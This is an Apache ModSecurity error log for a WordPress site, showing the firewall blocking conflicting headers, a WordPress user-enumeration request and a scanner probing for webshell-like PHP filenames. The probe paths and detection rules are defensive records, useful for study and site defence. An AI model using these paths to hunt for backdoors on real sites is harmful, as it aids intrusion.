[Fri Nov 14 23:22:09.876977 2025] [:error] [pid 16575:tid 16649] [client 43.130.111.40:46170] [client 43.130.111.40] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aRdJIe6qT670YxigvbDXNgAAAM8"]
[Fri Nov 14 23:31:49.644993 2025] [:error] [pid 16575:tid 16657] [client 34.80.26.96:43344] [client 34.80.26.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.80.26.96, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRdLZe6qT670YxigvbDZ3QAAANc"]
[Fri Nov 14 23:31:55.967113 2025] [:error] [pid 16574:tid 16622] [client 34.80.26.96:43718] [client 34.80.26.96] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aRdLa_6XQqe4NqaoE9KKMQAAAI8"]
[Sat Nov 15 00:13:36.257534 2025] [:error] [pid 45909:tid 45971] [client 182.43.70.143:48455] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aRdVMMZqItrYybG86kh-gQAAAcY"]
[Sat Nov 15 00:48:03.421027 2025] [autoindex:error] [pid 18513:tid 18519] [client 4.205.170.231:63950] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 15 00:48:18.260135 2025] [:error] [pid 18513:tid 18527] [client 4.205.170.231:63950] [client 4.205.170.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uploads/"] [unique_id "aRddUvc94upQFzRWlUmyIQAAAEk"]
[Sat Nov 15 00:48:18.681322 2025] [:error] [pid 18513:tid 18524] [client 4.205.170.231:55189] [client 4.205.170.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uploads/"] [unique_id "aRddUvc94upQFzRWlUmyIgAAAEY"]
[Sat Nov 15 00:48:19.100362 2025] [:error] [pid 45995:tid 46013] [client 4.205.170.231:57568] [client 4.205.170.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uploads/"] [unique_id "aRddU8fhZrb6EV4SvFuzaQAAAg0"]
[Sat Nov 15 00:48:19.516746 2025] [:error] [pid 45907:tid 45918] [client 4.205.170.231:49816] [client 4.205.170.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uploads/"] [unique_id "aRddU1AqmYxCpnT9gJF2gAAAAUc"]
[Sat Nov 15 01:09:34.672079 2025] [:error] [pid 45907:tid 45918] [client 4.205.91.17:65347] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filesss.php"] [unique_id "aRdiTlAqmYxCpnT9gJF9_wAAAUc"]
[Sat Nov 15 01:09:35.094754 2025] [:error] [pid 18513:tid 18527] [client 4.205.91.17:65397] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filesss.php"] [unique_id "aRdiT_c94upQFzRWlUm8kAAAAEk"]
[Sat Nov 15 01:09:35.527781 2025] [:error] [pid 18513:tid 18518] [client 4.205.91.17:64685] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filesss.php"] [unique_id "aRdiT_c94upQFzRWlUm8kQAAAEA"]
[Sat Nov 15 01:09:35.946037 2025] [:error] [pid 18513:tid 18530] [client 4.205.91.17:65309] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filesss.php"] [unique_id "aRdiT_c94upQFzRWlUm8lAAAAEw"]
[Sat Nov 15 01:09:36.397906 2025] [:error] [pid 18513:tid 18524] [client 4.205.91.17:64671] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file88.php"] [unique_id "aRdiUPc94upQFzRWlUm8lgAAAEY"]
[Sat Nov 15 01:09:36.812284 2025] [:error] [pid 45908:tid 45942] [client 4.205.91.17:64698] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file88.php"] [unique_id "aRdiUGWG19mWwZX7KatcIwAAAAQ"]
[Sat Nov 15 01:09:37.228455 2025] [:error] [pid 45909:tid 45978] [client 4.205.91.17:64697] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file88.php"] [unique_id "aRdiUcZqItrYybG86kiRnQAAAc0"]
[Sat Nov 15 01:09:37.650451 2025] [:error] [pid 18513:tid 18541] [client 4.205.91.17:64695] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file88.php"] [unique_id "aRdiUfc94upQFzRWlUm8nAAAAFc"]
[Sat Nov 15 01:09:38.166773 2025] [:error] [pid 45909:tid 45969] [client 4.205.91.17:65298] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass4.php"] [unique_id "aRdiUsZqItrYybG86kiRoAAAAcQ"]
[Sat Nov 15 01:09:38.630356 2025] [:error] [pid 45995:tid 46019] [client 4.205.91.17:64722] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass4.php"] [unique_id "aRdiUsfhZrb6EV4SvFu7LQAAAhM"]
[Sat Nov 15 01:09:39.053869 2025] [:error] [pid 45909:tid 45973] [client 4.205.91.17:65355] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass4.php"] [unique_id "aRdiU8ZqItrYybG86kiRoQAAAcg"]
[Sat Nov 15 01:09:39.504651 2025] [:error] [pid 45909:tid 45989] [client 4.205.91.17:65301] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass4.php"] [unique_id "aRdiU8ZqItrYybG86kiRpQAAAdg"]
[Sat Nov 15 01:09:39.946332 2025] [:error] [pid 45995:tid 46022] [client 4.205.91.17:65335] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class19.php"] [unique_id "aRdiU8fhZrb6EV4SvFu7LwAAAhY"]
[Sat Nov 15 01:09:40.489045 2025] [:error] [pid 45995:tid 46012] [client 4.205.91.17:64677] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class19.php"] [unique_id "aRdiVMfhZrb6EV4SvFu7MAAAAgw"]
[Sat Nov 15 01:09:40.904461 2025] [:error] [pid 45995:tid 46008] [client 4.205.91.17:64684] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class19.php"] [unique_id "aRdiVMfhZrb6EV4SvFu7MgAAAgg"]
[Sat Nov 15 01:09:41.364920 2025] [:error] [pid 45909:tid 45966] [client 4.205.91.17:65333] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class19.php"] [unique_id "aRdiVcZqItrYybG86kiRqQAAAcE"]
[Sat Nov 15 01:09:41.817743 2025] [:error] [pid 18513:tid 18529] [client 4.205.91.17:65385] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2clas.php"] [unique_id "aRdiVfc94upQFzRWlUm8ngAAAEs"]
[Sat Nov 15 01:09:42.282677 2025] [:error] [pid 45909:tid 45971] [client 4.205.91.17:64690] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2clas.php"] [unique_id "aRdiVsZqItrYybG86kiRrAAAAcY"]
[Sat Nov 15 01:09:42.728821 2025] [:error] [pid 45909:tid 45980] [client 4.205.91.17:65305] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2clas.php"] [unique_id "aRdiVsZqItrYybG86kiRrwAAAc8"]
[Sat Nov 15 01:09:43.141090 2025] [:error] [pid 45995:tid 46018] [client 4.205.91.17:61956] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2clas.php"] [unique_id "aRdiV8fhZrb6EV4SvFu7OwAAAhI"]
[Sat Nov 15 01:09:43.607138 2025] [:error] [pid 45995:tid 46001] [client 4.205.91.17:65345] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless5.php"] [unique_id "aRdiV8fhZrb6EV4SvFu7PQAAAgE"]
[Sat Nov 15 01:09:44.072263 2025] [:error] [pid 45995:tid 46000] [client 4.205.91.17:65336] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless5.php"] [unique_id "aRdiWMfhZrb6EV4SvFu7PgAAAgA"]
[Sat Nov 15 01:09:44.517788 2025] [:error] [pid 18513:tid 18522] [client 4.205.91.17:62803] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless5.php"] [unique_id "aRdiWPc94upQFzRWlUm8oQAAAEQ"]
[Sat Nov 15 01:09:44.937477 2025] [:error] [pid 45995:tid 46018] [client 4.205.91.17:64662] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless5.php"] [unique_id "aRdiWMfhZrb6EV4SvFu7QAAAAhI"]
[Sat Nov 15 01:09:45.364819 2025] [:error] [pid 45908:tid 45947] [client 4.205.91.17:64750] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file15.php"] [unique_id "aRdiWWWG19mWwZX7KatcLAAAAAk"]
[Sat Nov 15 01:09:45.805626 2025] [:error] [pid 45995:tid 46011] [client 4.205.91.17:65384] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file15.php"] [unique_id "aRdiWcfhZrb6EV4SvFu7RQAAAgs"]
[Sat Nov 15 01:09:46.225710 2025] [:error] [pid 45909:tid 45988] [client 4.205.91.17:64726] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file15.php"] [unique_id "aRdiWsZqItrYybG86kiRuAAAAdc"]
[Sat Nov 15 01:09:46.670472 2025] [:error] [pid 18513:tid 18524] [client 4.205.91.17:64727] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file15.php"] [unique_id "aRdiWvc94upQFzRWlUm8owAAAEY"]
[Sat Nov 15 01:09:47.087665 2025] [:error] [pid 18513:tid 18538] [client 4.205.91.17:64694] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "aRdiW_c94upQFzRWlUm8pQAAAFQ"]
[Sat Nov 15 01:09:47.509800 2025] [:error] [pid 45909:tid 45973] [client 4.205.91.17:64693] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "aRdiW8ZqItrYybG86kiRugAAAcg"]
[Sat Nov 15 01:09:47.924008 2025] [:error] [pid 45909:tid 45989] [client 4.205.91.17:65356] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "aRdiW8ZqItrYybG86kiRvQAAAdg"]
[Sat Nov 15 01:09:48.435075 2025] [:error] [pid 45909:tid 45976] [client 4.205.91.17:64756] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "aRdiXMZqItrYybG86kiRvgAAAcs"]
[Sat Nov 15 01:09:48.860653 2025] [:error] [pid 45995:tid 46003] [client 4.205.91.17:65380] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpa.php"] [unique_id "aRdiXMfhZrb6EV4SvFu7SgAAAgM"]
[Sat Nov 15 01:09:49.271833 2025] [:error] [pid 45908:tid 45944] [client 4.205.91.17:64706] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpa.php"] [unique_id "aRdiXWWG19mWwZX7KatcLQAAAAY"]
[Sat Nov 15 01:09:49.823508 2025] [:error] [pid 45909:tid 45969] [client 4.205.91.17:65288] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpa.php"] [unique_id "aRdiXcZqItrYybG86kiRwgAAAcQ"]
[Sat Nov 15 01:09:50.235171 2025] [:error] [pid 45995:tid 46000] [client 4.205.91.17:64674] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpa.php"] [unique_id "aRdiXsfhZrb6EV4SvFu7TAAAAgA"]
[Sat Nov 15 01:09:50.667846 2025] [:error] [pid 18513:tid 18527] [client 4.205.91.17:64680] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file21.php"] [unique_id "aRdiXvc94upQFzRWlUm8qwAAAEk"]
[Sat Nov 15 01:09:51.086601 2025] [:error] [pid 45908:tid 45939] [client 4.205.91.17:65284] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file21.php"] [unique_id "aRdiX2WG19mWwZX7KatcLwAAAAE"]
[Sat Nov 15 01:09:51.498215 2025] [:error] [pid 45908:tid 45945] [client 4.205.91.17:64641] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file21.php"] [unique_id "aRdiX2WG19mWwZX7KatcMQAAAAc"]
[Sat Nov 15 01:09:51.914039 2025] [:error] [pid 18513:tid 18524] [client 4.205.91.17:64658] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file21.php"] [unique_id "aRdiX_c94upQFzRWlUm8rQAAAEY"]
[Sat Nov 15 01:09:52.327805 2025] [:error] [pid 45995:tid 46015] [client 4.205.91.17:64667] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ut.php"] [unique_id "aRdiYMfhZrb6EV4SvFu7TgAAAg8"]
[Sat Nov 15 01:09:52.775640 2025] [:error] [pid 18513:tid 18528] [client 4.205.91.17:64647] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ut.php"] [unique_id "aRdiYPc94upQFzRWlUm8sgAAAEo"]
[Sat Nov 15 01:09:53.188188 2025] [:error] [pid 18513:tid 18539] [client 4.205.91.17:65310] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ut.php"] [unique_id "aRdiYfc94upQFzRWlUm8swAAAFU"]
[Sat Nov 15 01:09:53.612851 2025] [:error] [pid 45908:tid 45962] [client 4.205.91.17:64755] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ut.php"] [unique_id "aRdiYWWG19mWwZX7KatcMwAAABg"]
[Sat Nov 15 01:09:54.044871 2025] [:error] [pid 18513:tid 18532] [client 4.205.91.17:64703] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inde.php"] [unique_id "aRdiYvc94upQFzRWlUm8tAAAAE4"]
[Sat Nov 15 01:09:54.462022 2025] [:error] [pid 45908:tid 45949] [client 4.205.91.17:65346] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inde.php"] [unique_id "aRdiYmWG19mWwZX7KatcNgAAAAs"]
